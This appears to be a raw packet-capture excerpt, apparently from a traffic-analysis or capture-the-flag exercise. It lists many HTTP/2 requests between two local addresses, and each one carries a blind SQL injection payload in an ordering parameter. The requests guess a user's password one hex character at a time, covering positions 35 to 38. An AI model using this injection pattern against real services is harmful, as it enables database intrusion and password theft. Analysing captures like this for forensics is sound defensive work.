51386   1300    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[809]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[809] 
51404   1300    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[811]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[811] 
51433   1300    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[813]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[813] 
51440   1300    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[815]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[815] 
51446   1301    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[817]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[817] 
51453   1301    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[819]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[819] 
51460   1301    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[821]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[821] 
51466   1302    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[823]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[823] 
51473   1302    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[825]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[825] 
51479   1302    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[827]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[827] 
51487   1303    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[829]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[829] 
51508   1303    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[831]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[831] 
51526   1303    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[833]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[833] 
51532   1303    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[835]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[835] 
51538   1304    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[837]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[837] 
51545   1304    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[839]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[839] 
51551   1304    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[841]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[841] 
51557   1305    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[843]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[843] 
51564   1305    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[845]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[845] 
51570   1305    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[847]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[847] 
51576   1306    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[849]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[849] 
51583   1306    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[851]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[851] 
51589   1306    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[853]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[853] 
51595   1307    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[855]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[855] 
51603   1307    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[857]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[857] 
51609   1307    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[859]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[859] 
51615   1308    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[861]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[861] 
51623   1308    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[863]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[863] 
51630   1308    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[865]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[865] 
51636   1309    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[867]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[867] 
51643   1309    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[869]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[869] 
51649   1309    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[871]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[871] 
51655   1309    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[873]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[873] 
51668   1310    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[875]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[875] 
51704   1310    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[877]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6B"_then_id_else_col1_end), WINDOW_UPDATE[877] 
51713   1310    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[879]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6C"_then_id_else_col1_end), WINDOW_UPDATE[879] 
51725   1311    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[881]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6D"_then_id_else_col1_end), WINDOW_UPDATE[881] 
51732   1311    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[883]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6E"_then_id_else_col1_end), WINDOW_UPDATE[883] 
51763   1311    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[885]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6F"_then_id_else_col1_end), WINDOW_UPDATE[885] 
51841   1311    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[887]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="70"_then_id_else_col1_end), WINDOW_UPDATE[887] 
51847   1312    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[889]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="71"_then_id_else_col1_end), WINDOW_UPDATE[889] 
51968   1312    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[891]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="72"_then_id_else_col1_end), WINDOW_UPDATE[891] 
51983   1312    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[893]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="73"_then_id_else_col1_end), WINDOW_UPDATE[893] 
52309   1313    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[895]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="74"_then_id_else_col1_end), WINDOW_UPDATE[895] 
52434   1313    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[897]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="75"_then_id_else_col1_end), WINDOW_UPDATE[897] 
52623   1313    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[899]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="76"_then_id_else_col1_end), WINDOW_UPDATE[899] 
52711   1313    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[901]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="77"_then_id_else_col1_end), WINDOW_UPDATE[901] 
52766   1314    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[903]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="78"_then_id_else_col1_end), WINDOW_UPDATE[903] 
52782   1314    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[905]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="79"_then_id_else_col1_end), WINDOW_UPDATE[905] 
53215   1314    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[907]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="7A"_then_id_else_col1_end), WINDOW_UPDATE[907] 
53230   1314    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[909]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="41"_then_id_else_col1_end), WINDOW_UPDATE[909] 
53352   1315    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[911]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="42"_then_id_else_col1_end), WINDOW_UPDATE[911] 
53378   1315    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[913]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="43"_then_id_else_col1_end), WINDOW_UPDATE[913] 
53428   1315    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[915]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="44"_then_id_else_col1_end), WINDOW_UPDATE[915] 
53479   1315    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[917]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="45"_then_id_else_col1_end), WINDOW_UPDATE[917] 
54032   1315    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[919]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="46"_then_id_else_col1_end), WINDOW_UPDATE[919] 
54117   1315    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[921]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="47"_then_id_else_col1_end), WINDOW_UPDATE[921] 
54269   1316    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[923]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="48"_then_id_else_col1_end), WINDOW_UPDATE[923] 
54314   1316    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[925]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="49"_then_id_else_col1_end), WINDOW_UPDATE[925] 
54321   1316    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[927]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4A"_then_id_else_col1_end), WINDOW_UPDATE[927] 
54353   1317    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[929]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4B"_then_id_else_col1_end), WINDOW_UPDATE[929] 
54364   1317    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[931]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4C"_then_id_else_col1_end), WINDOW_UPDATE[931] 
54653   1317    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[933]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4D"_then_id_else_col1_end), WINDOW_UPDATE[933] 
54662   1317    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[935]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4E"_then_id_else_col1_end), WINDOW_UPDATE[935] 
54681   1318    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[937]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4F"_then_id_else_col1_end), WINDOW_UPDATE[937] 
54696   1318    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[939]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="50"_then_id_else_col1_end), WINDOW_UPDATE[939] 
54740   1318    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[941]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="51"_then_id_else_col1_end), WINDOW_UPDATE[941] 
54753   1318    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[943]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="52"_then_id_else_col1_end), WINDOW_UPDATE[943] 
54767   1319    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[945]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="53"_then_id_else_col1_end), WINDOW_UPDATE[945] 
54775   1319    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[947]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="54"_then_id_else_col1_end), WINDOW_UPDATE[947] 
54786   1319    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[949]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="55"_then_id_else_col1_end), WINDOW_UPDATE[949] 
54805   1320    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[951]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="56"_then_id_else_col1_end), WINDOW_UPDATE[951] 
54811   1320    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[953]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="57"_then_id_else_col1_end), WINDOW_UPDATE[953] 
54818   1320    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[955]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="58"_then_id_else_col1_end), WINDOW_UPDATE[955] 
54825   1320    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[957]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="59"_then_id_else_col1_end), WINDOW_UPDATE[957] 
54831   1321    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[959]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="5A"_then_id_else_col1_end), WINDOW_UPDATE[959] 
54837   1321    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[961]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[961] 
54844   1321    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[963]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[963] 
54859   1322    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[965]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[965] 
54865   1322    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[967]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[967] 
54874   1322    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[969]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[969] 
54880   1323    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[971]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[971] 
54907   1323    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[973]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[973] 
55160   1323    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[975]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[975] 
55406   1323    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[977]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[977] 
55591   1324    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[979]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[979] 
56519   1324    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[981]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[981] 
57832   1324    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[983]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[983] 
59495   1324    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[985]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[985] 
62273   1325    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[987]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[987] 
64718   1325    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[989]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[989] 
65570   1326    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[991]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[991] 
65576   1326    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[993]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[993] 
65582   1326    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[995]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[995] 
65588   1327    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[997]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[997] 
65594   1327    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[999]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[999] 
65600   1327    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1001]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[1001]   
65612   1328    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1003]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[1003]   
65624   1328    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1005]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[1005]   
65635   1328    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1007]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[1007]   
65647   1328    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1009]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6B"_then_id_else_col1_end), WINDOW_UPDATE[1009]   
65654   1329    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1011]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6C"_then_id_else_col1_end), WINDOW_UPDATE[1011]   
65660   1329    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1013]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6D"_then_id_else_col1_end), WINDOW_UPDATE[1013]   
65666   1329    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1015]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6E"_then_id_else_col1_end), WINDOW_UPDATE[1015]   
65676   1330    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1017]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6F"_then_id_else_col1_end), WINDOW_UPDATE[1017]   
65684   1330    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1019]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="70"_then_id_else_col1_end), WINDOW_UPDATE[1019]   
65693   1330    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[1021]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="71"_then_id_else_col1_end), WINDOW_UPDATE[1021]   
65700   1331    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1023]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="72"_then_id_else_col1_end), WINDOW_UPDATE[1023]   
65744   1331    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1025]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="73"_then_id_else_col1_end), WINDOW_UPDATE[1025]   
66120   1331    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1027]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="74"_then_id_else_col1_end), WINDOW_UPDATE[1027]   
66661   1332    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1029]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="75"_then_id_else_col1_end), WINDOW_UPDATE[1029]   
66692   1333    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1031]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="76"_then_id_else_col1_end), WINDOW_UPDATE[1031]   
66712   1334    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1033]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="77"_then_id_else_col1_end), WINDOW_UPDATE[1033]   
66718   1334    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1035]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="78"_then_id_else_col1_end), WINDOW_UPDATE[1035]   
66725   1335    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1037]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="79"_then_id_else_col1_end), WINDOW_UPDATE[1037]   
66800   1335    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1039]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="7A"_then_id_else_col1_end), WINDOW_UPDATE[1039]   
66813   1335    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1041]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="41"_then_id_else_col1_end), WINDOW_UPDATE[1041]   
66819   1336    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1043]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="42"_then_id_else_col1_end), WINDOW_UPDATE[1043]   
66829   1336    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1045]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="43"_then_id_else_col1_end), WINDOW_UPDATE[1045]   
66853   1336    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1047]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="44"_then_id_else_col1_end), WINDOW_UPDATE[1047]   
66859   1336    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1049]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="45"_then_id_else_col1_end), WINDOW_UPDATE[1049]   
66878   1337    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1051]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="46"_then_id_else_col1_end), WINDOW_UPDATE[1051]   
66932   1337    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1053]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="47"_then_id_else_col1_end), WINDOW_UPDATE[1053]   
67232   1338    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[1055]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="48"_then_id_else_col1_end), WINDOW_UPDATE[1055]   
67432   1338    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1057]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="49"_then_id_else_col1_end), WINDOW_UPDATE[1057]   
67680   1338    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1059]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4A"_then_id_else_col1_end), WINDOW_UPDATE[1059]   
68178   1339    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1061]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4B"_then_id_else_col1_end), WINDOW_UPDATE[1061]   
68262   1339    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1063]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4C"_then_id_else_col1_end), WINDOW_UPDATE[1063]   
68284   1339    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1065]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4D"_then_id_else_col1_end), WINDOW_UPDATE[1065]   
68295   1339    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1067]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4E"_then_id_else_col1_end), WINDOW_UPDATE[1067]   
68311   1340    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1069]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4F"_then_id_else_col1_end), WINDOW_UPDATE[1069]   
68317   1340    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1071]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="50"_then_id_else_col1_end), WINDOW_UPDATE[1071]   
68323   1340    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1073]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="51"_then_id_else_col1_end), WINDOW_UPDATE[1073]   
68329   1340    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1075]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="52"_then_id_else_col1_end), WINDOW_UPDATE[1075]   
68338   1341    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1077]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="53"_then_id_else_col1_end), WINDOW_UPDATE[1077]   
68344   1341    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1079]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="54"_then_id_else_col1_end), WINDOW_UPDATE[1079]   
68350   1341    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1081]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="55"_then_id_else_col1_end), WINDOW_UPDATE[1081]   
68357   1342    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1083]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="56"_then_id_else_col1_end), WINDOW_UPDATE[1083]   
68363   1342    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[1085]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="57"_then_id_else_col1_end), WINDOW_UPDATE[1085]   
68369   1342    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[1087]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="58"_then_id_else_col1_end), WINDOW_UPDATE[1087]   
